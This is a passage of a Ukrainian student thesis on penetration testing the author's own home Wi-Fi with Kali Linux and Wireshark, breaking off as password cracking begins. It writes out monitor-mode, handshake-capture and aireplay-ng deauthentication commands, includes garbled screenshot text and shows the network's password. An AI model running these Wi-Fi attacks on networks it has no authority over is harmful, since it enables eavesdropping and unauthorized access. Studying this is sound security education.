Активний збір інформації – це взаємодія з IC, коли роботу відповідних програм, які спрямовані на конкретну систему можна зафіксувати. Така активність, швидше за все, буде зафіксована в журналі аудиту цільової системи.

Активний збір передбачає, що вузлу будуть відправлені деякі запити з метою обробки. Такі події фіксуються в журналах аудиту, можуть бути проаналізовані IDS-системами та адміністраторами системи як в режимі реального часу, так і згодом. Використання сканерів вразливостей - оди– із методів активного збору інформації.

Сканування дозволяє отримати інформацію про вузли, порти та сервіси, які працюють на цільовій системі.

Керівництво з етичного хакінгу Ethical Hacking and Countermeasures EC-Council виділяє такі типи сканування:

- Мережеве сканування

- Сканування портів
- Сканування безпеки системи

Мережеве сканування дозволяє визначити інформацію про вузли, які знаходяться в мережі. Найпростішим прикладом такого сканування є такзваний ping-запит або ISMP-запит. В результаті виконання такого сканування з одного пристрою буде надіслано ping- або ISMP-запит, а інший, якщо він активний і «в мережі» - надішле відповідь. Ця відповідь і буде результатом одержання позитивної відповіді.

Сканування портів дає змогу виявити відкриті порти та функціонуючі сервіси.

Nmap – це приклад утиліти, яка дозволяє здійснити сканування IP-мереж з довільною кількістю пристроїв в системі, дає змогу визначити стан об'єктів мережі, а саме портів та відповідних їм служб. Окрім того, дозволяє визначити, які ОС та програми працюють в цих системах. Сканер птар використовують для оцінювання вразливостей, інвентаризації мережі та аудиту безпеки. Цей інструмент широко використовується адміністраторами мережі, спеціалістами з безпеки для виконання завдань, пов'язаних з мережевою безпекою та керуванням. [11]

Варто зазначити, що використання утиліти птар в зовнішній мережі – це «прапорець» про початок ведення збору інформації з можливим подальшим проникненням в систему.

Сканування безпеки системи виявляє відомі вразливості системи.

Вразливість може бути спричиненою помилками, допущеними при програмуванні, недосконалістю проєктування системи, результатом використання ненадійних паролів, наявності шкідливого програмного забезпечення в системі, тощо. Для знаходження відомих вразливостей створено чимало різних програмних засобів.

24

2.3 Kali Linux

Для оцінки захисту системи можна використовувати різні інструментальні середовища, в яких вже є вбудована велика кількість інструментів, необхідних як для аудиту безпеки, так і для проведення тестування на проникнення. Kali Linux є яскравим представником такого інструментального середовища.

«Kali Linux – це дистрибутив Linux із відкритим вихідним кодом на основі Debian, призначений для виконання різноманітних завдань інформаційної безпеки, таких як тестування на проникнення, дослідження безпеки, комп'ютерна експертиза та зворотне проектування»[8]

Linux є відкритою ОС, яка забезпечує широкий спектр можливостей для хакерів. Командна оболонка Bash, що є в даній ОС підтримує великий набір утиліт та програм, що спрощують роботу з файловими системами, мережами, процесами та іншими компонентами ОС.

В ОС Kali Linux включено понад 600 інструментів тестування на проникнення, які розділені по категоріях (рис. 2.2).



Рисунок 2.2. Категорії інструментів ОС Kali Linux

Основні команди початку роботи з ОС Kali Linux [8]:

– «sudo –su» дозволяє працювати з адміністративними правами;

– «apt-get» використовується для встановлення інструментів та оновлень

– «apt-get update» та «apt-get upgrade» оновлюють ПЗ, встановлене на машині

– «apt-get dist-upgrade» дозволяє оновити ОС

– Ctrl+C зупиняє роботу будь-якого процесу

Висновки до розділу 2

Програмних застосунків та інструментів для проведення тестування на проникнення є доволі багато.

Для виконання цієї кваліфікаційної роботи використовується пасивний та активний збір даних домашньої локальної мережі за допомогою OC Kali Linux, аналізатора пакетів Wireshark, сканера портів птар та інших інструментів.

3. ПРОВЕДЕННЯ ТЕСТУВАННЯ НА ПРОНИКНЕННЯ В ДОМАШНІЙ ЛОКАЛЬНІЙ МЕРЕЖІ

3.1. Network Penetration Testing

Penetration Test – тест на проникнення, який полягає в моделюванні реальної атаки на систему з метою виявлення слабких місць в її безпеці.

Network Penetration Test має на меті виявлення вразливостей та слабких місць в безпеці мережі, засобів її контролю за допомогою спеціального ПЗ, методів та інструментів.

Сучасні комп'ютерні мережі є складними: вони можуть поєднувати глобальні, локальні та бездротові мережі, а також велику кількість кінцевих точок. Тому для проведення тесту на проникнення варто володіти різноманіттям методів та різноманітними інструментальними засобами дослідження будь-якого типу мережевого підключення, будь-яких використовуваних ОС в цих мережах, тощо.

Існують такі типи тестування на проникнення в мережу:

- тестування внутрішньої мережі

- тестування зовнішньої мережі

Тестування на проникнення внутрішньої мережі полягає в оцінюванні вразливостей та шкоди, яку можуть завдати хакери, якщо вони приникнуть в мережу.

Тестування на проникнення зовнішньої мережі використовується для виявлення вразливостей, які можна здійснити через Інтернет.

Тестування мережі дає багато інформації щодо стану захищеності системи, знаходження «дірок» в ній, тощо. А головне - знаючи проблемні місця – можна виконати виправлення, оновлення та покращення безпеки мережі.

Мережеве тестування на проникнення дозволяє забезпечити:

- аналіз роботи системи безпеки, оцінити її;

27

- розуміння стану системи безпеки та її ефективності;

- можливість запобігання злому мережі;

- чітке розуміння заходів, які потрібно вжити у разі реальної атаки, а також - які механізми захисту є більш ефективними, а які не дадуть необхідного результату;

- Зменшення витрат коштів та часу на ліквідацію збитків від можливої реальної атаки.

Тестування на проникнення в мережу включає шість етапів: підготовка, сканування, отримання інформації про систему, експлуатація, оцінка та аналіз, висновки та рекомендації.

- Підготовка та розвідка. (Збір даних про організацію, співробітників з відкритих джерел).

- Сканування та отримання системної інформації (На цьому етапі виявляють потенційні слабкі місця в системі: технічні вразливості; людські вразливості).

- Експлуатація (Виявлені на попередньому етапі вразливості використовуються для здійснення справжньої атаки).

Оцінка та аналіз (Опис усього процесу та результати тестування.
 Оформлення звіту).

- Рекомендації (Надання рекомендацій щодо усунення вразливостей і покращення заходів безпеки).

3.2. Дослідження локальної домашньої мережі

В моїй домашній мережі наявна бездротова локальна мережа. Окрім того, використовуються кінцеві пристрої (ноутбук, планшет, SmartTV, декілька смартфонів) та маршрутизатор з точкою безпровідного доступу.

Домашній маршрутизатор фірми D-Link DIR-300 (рис.3.1)



Рисунок 3.1. Маршрутизатор D-Link DIR-300

Даний маршрутизатор має абсолютно стандартні характеристики для мережевих пристроїв, що використовуються в домашніх мережах. Серед стандартних характеристик, присутніх в даній моделі роутера варто виділити наступні:

- Підтримуються такі стандарти зв'язку Wi-Fi: 802.11a, 802.11b, 802.11g, 802.11n draft;

- 1 антена

- WAN-порт Ethernet
- Інтерфейси 4 х RJ-45 10/100BASE-TX LAN портів з

автоматичним визначенням полярності MDI/MDIX

- Функції VPN – Multiple IPSec/PPTP/L2TP pass-through

З безпекових функцій в даному маршрутизаторі представлені:

- Міжмережевий екран SPI
- Фільтрафія МАС-адрес
- Підтримка таких стандартів шифрування: WEP, WPA і WPA2

Наявність в даному маршрутизаторі вбудованого міжмережевого екрану дає можливість налаштувати правила вхідного та вихідного трафіку, що дозволить мінімізувати загрози дій від хакерів та запобігти небажаним вторгненням в мережу.

Фільтрація за МАС-адресами дає змогу запобігти неавторизованому доступу до мережі. Таким чином, налаштовуючи білий список фільтрації МАС-адрес можна створити умови, де лише конкретні, вказані нами пристрої, будуть підключеними до мережі.

Підтримання стандартів WEP, WPA та WPA2 дає можливість шифрувати трафік, що проходить бездротовою мережею.

Алгоритм безпеки WEP (Wired Equivalent Privacy) – найстаріший стандарт шифрування бездротового трафіку, заснований на основі алгоритму потокового шифрування RC4. Довжина ключа, представлена даним алгоритмом може складати 64, 128 або 256 біт. Даний алгоритм є старим та містить загальновідомі вразливості, тому його використання при шифруванні бездротового трафіку є недоцільним.

WPA (Wi-Fi Protected Access) – є одним з протоколів безпеки для бездротових мереж. Його було створено на заміну WEP. Даний алгоритм базується на протоколі тимчасової цілісності ключів ТКІР (Temporary Key Integrity Protocol). Згодом ТКІР був замінений розширеним стандартом шифрування (Advanced Encryption Standard, AES). Кращий за WEP, але також має багато загальновідомих вразливостей. Не рекомендований до використання.

WPA2 – удосконалена версія WPA. Може працювати в 2 режимах:

- Персональний WPA2-PSK
- Корпоративний WPA2-EAP

В WPA2 використовується протокол ССМР, заснований на AES, що забезпечує автентифікацію та цілісність повідомлення. Даний протокол є більш надійним, ніж TKIP, тому його використання ускладнює атаки зловмисників.

30

В жовтні 2017 року була знайдена вразливість в протоколі WPA2, що полягає в протоколі рукостискання і примушує клієнта повторно перепідключитися, використовуючи наявний ключ шифрування. Таким чином, зловмисник може «прослуховувати» Wi-Fi трафік та здійснювати певні види атак, наприклад, «людина посередині».

Існує ще оновлена версія стандарту Wi-Fi Alliance, що носить назву WPA3. В даному протоколі безпеки враховані всі недоліки попередніх версій.

3.3. Перехоплення трафіку мережі

Перехоплення трафіку належить до пасивного методу збору інформації про мережу. В процесі прослуховування мережі використовується виключно лише домашня локальна мережа.

Першим етапом проведення тестування на проникнення в мережу є «підготовка та розвідка». На даному етапі потрібно зібрати інформацію про наявність поблизу необхідної мережі та інших відомостей про неї.

Оскільки тестування проводиться до поточної домашньої мережі, то першою перевіркою буде перевірка на наявність з'єднання.

В даній роботі дослідження вразливостей мережі проводиться з використанням OC Kali Linux. Перевірку на наявність з'єднання можна виконати за допомогою команди ifconfig.

З рис.3.2 можна побачити, що є наявне успішне з'єднання з мережею. За інтерфейсом wlan0 отримано IP-адресу, отже пристрій є клієнтом бездротової передачі даних.

31



Рисунок 3.2. Перевірка параметрів мережевого інтерфейсу

Наступним етапом є «Сканування та отримання системної інформації».

В процесі сканування домашньої локальної мережі використовуються такі методи отримання даних: використання режиму монітору, прослуховування мережі за допомогою програми Wireshark, захоплення рукостискання, отримання інформації та її аналізу.

3.3.1. Режим монітору

Режим моніторингу Wi-Fi адаптера необхідний, щоб бачити весь трафік, а не тільки той, який призначений нашій мережевій карті. [16]

Спершу скористаємося командою, яка прибере всі зайві процеси:

sudo airmon-ng check kill

Тепер запустимо режим моніторингу:

sudo airmon-ng start wlan0mon

В результаті виконання команди отримаємо ввімкнений монітор (Додаток А1)

Після цього, командою *sudo whireshark* запускаємо аналізатор пакетів Wireshark.

3.3.2. Прослуховування мережі

Обираємо необхідний мережевий інтерфейс. З рис.3.3 видно, що це буде wlan0mon.



Рисунок 3.3. Вибір мережевого інтерфейсу для перехоплення

Одразу починається перехоплення трафіку за цим мережевим інтерфейсом. Згідно з наведеними даними на рис. 3.4, ми отримали інформацію не тільки по своїй домашній мережі, а й по всіх інших мережах, які розташовані неподалік.

*wantimon		п×
Файл Правка Вигляд Перехід Захоплення Аналіз Статистика Телефонія Wireless Tools Довідка		
🖌 🗏 🖉 📾 🔚 🖹 🖄 🖄 🗘 4 🖛 🖷 🖀 🛓 🔜 🔍 4 4 4 E		
Jepply a display filter <cut-></cut->	🖃 🕷 Вираз.	. +
No. Time Source Destination Protocol Length Mn 481 07 B992945 To Linet Arstrol 47 573-673-6745-074 07 40 10 11 81 April Ark Res Clamer C		^
485 12.489804445 Tp.11x07_4c=14156 [52:0e+174704555 [922] 11 42 892.11 Block Adv Reg. Flags		
487 12. NW712288 To_1-LINXT.4c::add/86 52:56:rtx170:38:c5 _ 982.11		
489 12. 87791338 TpLixif Lexatols [5:25e+179-8555], 902.11 42.902.11 Block & Mr. Rog. Fulges		
49112.72737576 Tp.114712:95:56 Foradcast 902.11 277 Bacon Trane, SH=52, Fels, Flage, C BI-109, SSID-Manayd 402 17.2999989 Tp.11471 restricts Provide 1 299 Bacon Trane, SH=52, Fels, Flage, C BI-109, SSID-Flag, Flage, The Start,		
493 12.777000057 Tp-LinkT_f5:ee:2 Broadcast 892.11 23 Beacon frame, SH=276, FH=9, FI=9, FI=10, SSID=TP-Link_EEE2 49.11.279700057 Tp-Link_EEE2		
495 12.72255099 Liteorfe 10:75 [082.11 2 2 Class-to-song, Flags		
497 12.77590795 [http://doi.org/10.1216/j.0179-25 6.002.11 22 Company-based (http://doi.org/10.1216/j.0192.11 22 Company-based (http://doi.0192.11 22 Company-b		
499 12. 22324445 Tp-LinkT_4::a6:89 Endedst 00:211 238 Belcon Trans, Sis-2968, File, Filage:, 10:2169, 00:200-772_00 499 12. 22324445 Tp-LinkT_4::a6:89 Endedst 00:211 238 Belcon Trans, Sis-2968, File, Filage:, 10:2169, 00:200-772_00		
0 00 12 02202855 50:0::1:0:0:4:1:0 Traditional - 0:00:1: 0:0:0:0:0:0:0:0:0:0:0:0:0:0:0:0		
0421.1521000/9 [FilmA.e.do:w Biodolati 0 002.11 235 Beauli (imb, 3m-3mp, Freip, Fager, 21-109, 520=/r-Lim, Mono 5611.153450742 [FilmA.e.do:w Biodolati 17598:55] 6 052.11 435 Beauli (imb, 3m-3mp, Freip, Fager, 2		
0961_10099211 02.001411100012 [197_1101_00.00] [00111 030 002.11 0300 Att, PageC		
000 12.03090000 (pr.11m)		
006 33.422014060 00 0014017108143120 970800381 002.11 240 00000 Frame, 9942116, 9440, 1440, 1450		
510 31.407268162 Beijing.(c5:3776 (_ 882.11 22 Ackinoaledgement, FlagsC 511 33.4082144 Tp-LinkT_b2:95:5e (_ beijing.(c5:3776 (_ 882.11 42 802.11 Histork Akt Reg. FlagsC		
512 31.364/15945 Tp-LinK1_4c:ad:08 Bradcast 802.11 233 Beacon frame, SH=3011, FH=0, Filaget=,C, BI=180, SSID=TP-LINK_AD06 S13 31.37723208 BealingK1; 063376 IntelCorp 79:67.37 Bact 11.100 (05 Batta, SH=7), FH=0, Filaget=,FL		
5413.2246947 1116mf_97:725 (.arcid:57:94:48:34 682.11 38 Repuest-to-send, FlagsC 515:10.42255 [hint]:20:55: her Broadcast 802.11 27 Bescon Trans, Die55, Fleid, FlagsC, 815:108, Distance and Participation and Partici		
Frame 1: 32 bytes on wire (256 bits), 32 bytes captured (256 bits) on interface 0		- -
Raditap Header V0, Length 18 982.11 radio Information		
» IEEE 802.11 Clear-to-send, Flags:C		
k		
And an or water and and an and and		

Рисунок 3.4. Початок захоплення даних

Згідно отриманих на даний момент даних ми можемо бачити інформацію про різні мережі, їх параметри, канали, протоколи, тощо. В другій частині робочого поля програми відображаються відомості по вибраному пакету. В нижній частині вікна програми ми можемо бачити вихідні дані пакета в неопрацьованому вигляді, тобто так, як пакет передається по мережі.

В додатку А2 містяться відомості з перехоплення трафіку домашньої мережі. Аналізуючи отримані дані, одразу можна побачити SSID точки доступу, її МАС адресу, та канал, по якому передаються дані. Звісно, представленої інформації про мережу є значно більше. Але для подальшої роботи наведеної інформації цілком достатньо.

3.3.3. Захоплення рукостискання

Оскільки, в нашій локальній мережі використовується маршрутизатор з алгоритмом безпеки WPA2, то можна скористатись можливістю захоплення рукостискання. При цьому клієнту потрібно буде повторно підключитися до мережі, використовуючи наявний ключ шифрування. Якщо клієнт повторно підключається до мережі – в нас буде згенерований так-званий handshake.

В додатку АЗ міститься результат захоплення handshake. Для цього використовувалась команда

sudo airodump-ng wlan0mon --channel 7 --write 123

airodump-ng дозволяє отримати відомості про Wi-Fi-мережі, які знаходяться в безпосередній близькості, їх SSID та які методи шифрування в них використовуються.

Тепер потрібно почекати. Утиліта airodump буде очікувати, поки хтось підключиться до мережі. Тоді буде отриманий handshake, який зберігатиметься у вказаному файлі.

Чекати на підключення буває довго. Щоб скоротити цей час можна примусово від'єднати клієнтів мережі і почекати поки вони повторно підключаться до неї. В цьому допоможе команда sudo aireplay-ng --deauth 20 -a {MAC-адреса шлюзу} wlan0mon

Після перепідключення клієнта ми отримуємо WPA handshake (див. рис.

3.5).



Рисунок 3.5. Отриманий WPA Handshake

В Wireshark перевірити чи спрацювало «рукостискання» можна ввівши в фільтрах «eapol». Це повідомлення, які використовуються для процесу аутентифікації (див. рис. 3.6).

		WenOmon	_ = ×
Файл Правка Вигляд Перехід Захоплення Ана.	ania <u>С</u> татистика Телефонія <u>Wireless</u> <u>Tools</u> <u>Довідка</u>		
	⇒ ≝ • • <u>•</u> <u> </u> ų ų ų ų <u> </u>		m ===
eapol			ыст. Вираз +
No. Time Source Destin 51654 70.574772846 D-LinkIn_fe:04:18 3a:65 51657 70 5747528562 D-LinkIn_fe:04:18 2a:65	nation Protocol Length Info 5:89:74:75:40 EAPOL 155 Key (Message 1 of 4) 5:89:74:75:40 EAPOL 155 Key (Message 1 of 4)	Channel Signal Stranght 7 -41dBm 7 -43dbm	*
3007 70.002000 0.1121 70.002000 0.1121 70.00200 5027 75.0027 0.1121 70.00200 0.1121 70.00200 5027 75.0027 0.1121 70.00200 0.1121 70.00200 5027 75.0027 0.012 70.00200 0.1121 70.00200 5027 75.0027 0.012 70.00200 0.1121 70.00200 5027 75.0027 0.012 70.00200 0.1121 70.00200 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000 0.0120 0.0120 0.0120 0.0120 50207 7.0120000	18724(fr.3) 18724(fr.3) 18724(fr.3) 18737(fr.3) 18737(fr.3) 1874 18737(fr.3) 1874 18747(fr.3) 1874 18747(fr.3) 1874 18747(fr.3) 1874 18747(fr.3) 1	7 44200 7 44200 7 44200 7 54200 7 44200 7 44200 7 44200 7 44200 7 44200 7 44200 7 44200	
		ĸ	
	65 07		

Рисунок 3.6. Запити автентифікації в Wireshark

3.3.4. Аналіз отриманих даних

Перш, ніж провести аналіз отриманих даних, варто розшифрувати весь трафік, що міститься в домашній мережі. Оскільки, тестування проходить в домашній локальній мережі – то SSID та пароль входу нам відомі. Скористаємось цими даними (див. рис. 3.7, 3.8).

	Wireshark- Preferences	WEP and WPA Decryption Keys	×
HiQnet A	IEEE 802.11 wireless LAN	Key type Key	
HL7	 Reassemble fragmented 802.11 datagrams 	wpa-pwd password :Internet-2100_1	4
HNBAP HP_ERM	Ignore vendor-specific HT elements		
HSMS	✓ Call subdissector for retransmitted 802.11 frames		
HSRP HTTP	Assume packets have FCS		
HTTP2	Validate the FCS checksum if possible		
IAX2	Ignore the Protection bit		
IB	No		
ICAP	O Yes - without IV		
ICMP	Yes - with IV		
ICP			
ICQ	Enable WPA Key MIC Length override		
IEEE 802.11 IEEE 802.15.4	WPA Key MIC Length override 0		
IEEE 802.1AH	✓ Enable decryption		
ILP			
IMAP	Decryption keys Edit		
IMF			
INAP			
ininiband SDI+	· · · · · · · · · · · · · · · · · · ·	+ - Pa ^ V E0	
	🖉 ОК 🦉 Скасувати 🕃 Довіл	🖉 ОК Сору from 🔹 🗶 Скасувати 🖉 Довідка	

Рисунок 3.7. Зміна параметрів протоколу 208.11

Рисунок 3.8. Ввід ключа для дешифрування

В результаті отримаємо досить багато різної відкритої інформації (Додаток А4). Якщо до отриманих даних застосувати фільтр по SSID, то отримаємо впорядковані дані по домашній мережі (див. рис. 3.9).



Рисунок 3.9. Фільтрація за SSID

Якщо потрібно дізнатися, які пристрої є в мережі, можемо скористатися фільтром за протоколом ARP. Згідно даних, наведених на рис. 3.10, можна побачити три підключені пристрої та їх IP, MAC-адреси.

			3w.p	apng	-
файл Правка Вигляд Перехід Захоплен	ня Аналіз Статистика	а Телефонія	Wireless Tools Довідка		
📕 🗏 🛞 📄 🖹 🗙 🙆 🤗	* * 🗃 🐺 :	🛃 🗐 🔳			
		1			вираз
No. Time Source 1431 241 715948296 3a+65+89+74+fb+49	Destination D-LinkIn_fe:04:18	Protocol Le	ngtrinto 199 Who has 192 168 8 12 Tell 192 168 8 59	Channel	Signal Stranght 7 -49/IBa
1431_ 241.781645916 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 192.168.0.1 is at cc:b2:55:fe:04:18		7 -84d8m
1431_ 241.782990026 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 192.168.0.1 is at cc:b2:55:fe:04:18		7 -48dBm
1431. 241.815555964 3a:65:89:74:fb:40	Broadcast	ARP	100 Gratuitous AMP for 192.108.0.59 (Request)		/ -4000m 7 -4048m
1431_ 241.816870736 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 192.168.0.1 is at cc:b2:55:fe:04:18		7 -47d8m
1433. 242.679983856 1Pad.local 1422 242.691671517 D.LinkIn fe-04-19	D-LinkIn_fe:04:18	ARP	100 Who has 192.168.0.17 Tell 192.168.0.32		7 -5208n 7 -6049m
1433_ 242.695201864 iPad.local	Broadcast	ARP	100 Gratuitous ARP for 192.168.0.32 (Request)		7 -53dBm
1434_ 242.757693796 1Pad.local	Broadcast	ARP	98 Gratuitous ARP for 192.168.0.32 (Request)		7 -46dBm
1435_ 242.922511920 34.05.09.74.10.40 1435_ 242.924517614 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 WHO HAS 192.108.0.17 Tell 192.108.0.59		7 -4008 7 -47d8n
1435_ 242.959231971 3a:65:89:74:fb:40	Broadcast	ARP	98 Who has 192.168.0.1? Tell 192.168.0.59		7 -47dBm
1436. 243.107366913 1Pad.local 1436 243 100007060 D.LinkIn fe-04-18	iPad local	ARP	100 Who has 192.168.0.17 Tell 192.168.0.32 100 192 168 0 1 is at cc:h2:55:fe:04:18		7 -5308n 7 -47d8n
1436. 243.118355563 3a:65:89:74:fb:40	Broadcast	ARP	100 Gratuitous ARP for 192.168.0.59 (Request)		7 -40dBm
1437_ 243.164010635 iPad.local	Broadcast	ARP	98 Who has 192.168.0.1? Tell 192.168.0.32		7 -50dBm
1437_243.104854571_38:65:89:74:fb:40 1439_243.559808713_38:65:89:74:fb:40	Broadcast	ARP	100 Who has 192.168.0.17 Tell 192.168.0.59		7 -4008m 7 -4908m
1439_ 243.561024661 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 192.168.0.1 is at cc:b2:55:fe:04:18		7 -47dBm
1439_ 243.573615512 3a:65:89:74:fb:40	Broadcast	ARP	98 Who has 192.168.0.17 Tell 192.168.0.59		7 -46d8n 7 -5048m
1442_ 244.187934911 1Pad.local	Broadcast	ARP	98 Gratuitous ARP for 192.168.0.32 (Request)		7 -47dBn
1442_ 244.363818627 iPad.local	Broadcast	ARP	100 Who has 192.168.0.1? Tell 192.168.0.32		7 -59d8m
1442_ 244.305004769 D-LINKIN_10:04:18 1442_ 244.392764098 iPad.local	Broadcast	ARP	98 Who has 192.168.0.17 Tell 192.168.0.32		7 -47d8n
1448_ 248.627089330 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 Who has 192.168.0.59? Tell 192.168.0.1		7 -46dBm
1448_ 248.628606536 3a:65:89:74:fb:40 1451 251 638604005 B-LinkIn fe:04:18	D-LinkIn_fe:04:18	ARP	100 192.168.0.59 is at 3a:65:89:74:fb:40		7 -4108m 7 -4708m
1451_ 251.663204721 Android.local	Broadcast	ARP	98 Who has 192.168.0.1? Tell 192.168.0.75		7 -47dBm
1541_256.587700060 D-LinkIn_fe:04:18	iPad.local	ARP	100 Who has 192.168.0.327 Tell 192.168.0.1		7 -45d8m
1576_ 264.629496213 Android.local	D-LinkIn_fe:04:18	ARP	100 192.168.0.75 is at 36:7b:e0:a1:81:22		7 -49d8m
2169_ 284.980148195 D-LinkIn_fe:04:18	3a:65:89:74:fb:40	ARP	100 Who has 192.168.0.597 Tell 192.168.0.1		7 -46dBn 7 4040m
2103_ 204.3040/8005 3a.05.83./4.10.40	D-FTURTU_16:04:10	ARP	100 132.105.0.53 15 at 58.05.89.74.10.40		/ -400Bil
Frame 144255: 100 bytes on wire (800 bi	its), 100 bytes captur	ed (800 bits) on interface 0		
Radiotap Header v0, Length 18					
 IEEE 802.11 0oS Data, Flags: .pTC 				k	
Type/Subtype: QoS Data (0x0028)					
Frame Control Field: 0x8841 .000 0000 0011 0000 = Duration: 48 m	1croseconds				
Receiver address: D-LinkIn_fe:04:18	(cc:b2:55:fe:04:18)				
Transmitter address: 1Pad.local (ca: Destination address: Broadcast (ff:f	27:50:b7:c4:9a)				
Source address: iPad.local (ca:27:50	:b7:c4:9a)				
BSS Id: D-LinkIn_fe:04:18 (cc:b2:55:	fe:04:18)				
51A address: 1Pad.10cal (ca:27:50:07	r: 0				
0000 0001 1100 = Converse number					
0010 00 00 88 41 30 00 cc b2 55 fe 04 18	ca 27 50 b7 ··· A0··	· U····			
0020 24 98 ff ff ff ff ff ff c0 01 06 00	31 00 00 20	· ····1··			
0030 00 00 00 00 01 e3 b7 8e 7d 4e f4 6c 0040 52 1a c8 85 68 56 f2 8f 5c ac ba 7f	ee be 85 fe	· }N·1····			
0050 a7 35 e7 53 71 b2 59 60 e5 31 18 29	fa d9 37 2d ·5·Sq·Y	1.).7-			
0060 12 38 1d df	- 8				
Frame (100 bytes) Decrypted CCMP data (36	i bytes)				
Transmitting Station Hardware Address	(wlan.ta), 6 bytes				Packets: 226984 · Displayed: 35 (0.0%) · Marked: 3 (0.0%) · Dropped: 0 (0.0%) Profile: De

Рисунок 3.10. Фільтрація за протоколом ARP

Виконуючи перехоплення трафіку в домашній мережі було знайдено інформацію про мережу, розшифровано отримані дані, отримано інформацію про клієнтів поточної мережі.

3.4. Отримання паролю домашнього Wi-Fi

Отримання паролю від домашнього Wi-Fi, буде мати багато ідентичного з перехопленням даних. Як і у випадку перехоплення трафіку, для перевірки легкості зламу паролю від домашнього Wi-Fi необхідно запустити режим монітору, використати перехоплення handshake, записати його у файл, а вже тоді за допомогою дешифрувальників - розшифрувати.

3.4.1. Захоплення даних

Починаємо з команди *airmon-ng check kill*, вона припиняє дію активних процесів.

Потім використовуємо *airmon-ng start wlan0* – вмикаємо режим монітору мережі.

airodump-ng wlan0mon дозволяє провести сканування для радіохвиль, частотою 2.4ГГц.(див. рис.3.11)

айл Дія Редагувати Вигляд Допомога H 5][Elapsed: 36 s][2024-05-28 14:45 SSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK Cleantert Clean	дагувати Вигляд Допомога sed: 36 s][2024-05-28 14:45 PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 10 360 WPA2 CCMP PSK Clength: 0> -68 54 1 0 10 360 WPA2 CCMP PSK ASUs_10 -80 58 3 0 2 270 WPA2 CCMP PSK ASUS_10 -80 58 3 0 6 270 WPA2 CCMP PSK Asus_10 -80 58 3 0 6 270 WPA2 CCMP PSK Trina -81 7 0 0 1 270 WPA2 CCMP PSK Dima171 -82 36 0 10 270 WPA2				Kali	i@ikau:							
H 5][Elapsed: 36 s][2024-05-28 14:45 SSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK Internet-2100_1 -68 66 0 10 360 WPA2 CCMP PSK State 0 -68 54 1 0 10 360 WPA2 CCMP PSK Mamayd -75 74 0 0 1 360 WPA2 CCMP PSK Mamayd -78 42 0 0 9 270 WPA2 CCMP PSK Intida_EXT -78 42 0 0 1 270 WPA2 CCMP PSK Intida_EXT -81 7 0 1 270 WPA2 CCMP PSK Intida EXT -81 <	sed: 36 s][2024-05-28 14:45 PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 10 360 WPA2 CCMP PSK skipor -68 54 1 0 10 360 WPA2 CCMP PSK skipor -68 54 1 0 10 360 WPA2 CCMP PSK Alantida_EXT -75 74 0 0 1 30 WPA2 CCMP PSK atlantida_EXT -78 42 0 0 270 WPA2 CCMP PSK Irina -81 37 1 0 2 270 WPA2 CCMP PSK Imitida_EXT -82 36 0 6 270 WPA	райл Дія Р	едагувати	Вигляд ,	Цопомога								
SSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet=2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 360 WPA2 CCMP PSK Clength: 0> -68 54 1 0 10 360 WPA2 CCMP PSK stimmayd -75 74 0 0 1 130 WPA2 CCMP PSK Atlantida_EXT -75 74 0 0 1 270 WPA2 CCMP PSK Atlantida_EXT -78 42 0 9 270 WPA2 CCMP PSK Intid_EE2 -81 7 0 1 270 WPA2 CCMP PSK Dima171	PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID -36 69 1 0 7 54e WPA2 CCMP PSK Internet-2100_1 -48 39 3 0 1 270 WPA2 CCMP PSK TP-LINK_AD06 -68 66 0 0 360 WPA2 CCMP PSK TP-LINK_AD06 -68 54 1 0 360 WPA2 CCMP PSK Skippr -68 54 1 0 130 WPA2 CCMP PSK Mamayd -75 74 0 0 1 30 WPA2 CCMP PSK ASU5_10 -80 58 3 0 6 270 WPA2 CCMP PSK TP-Link_EEE2 -81 7 0 0 1 270 WPA2 CCMP PSK Initatida_EXT -82 36 0	CH 5][Elap	psed: 36 s][2024-05	-28 14:4	5							
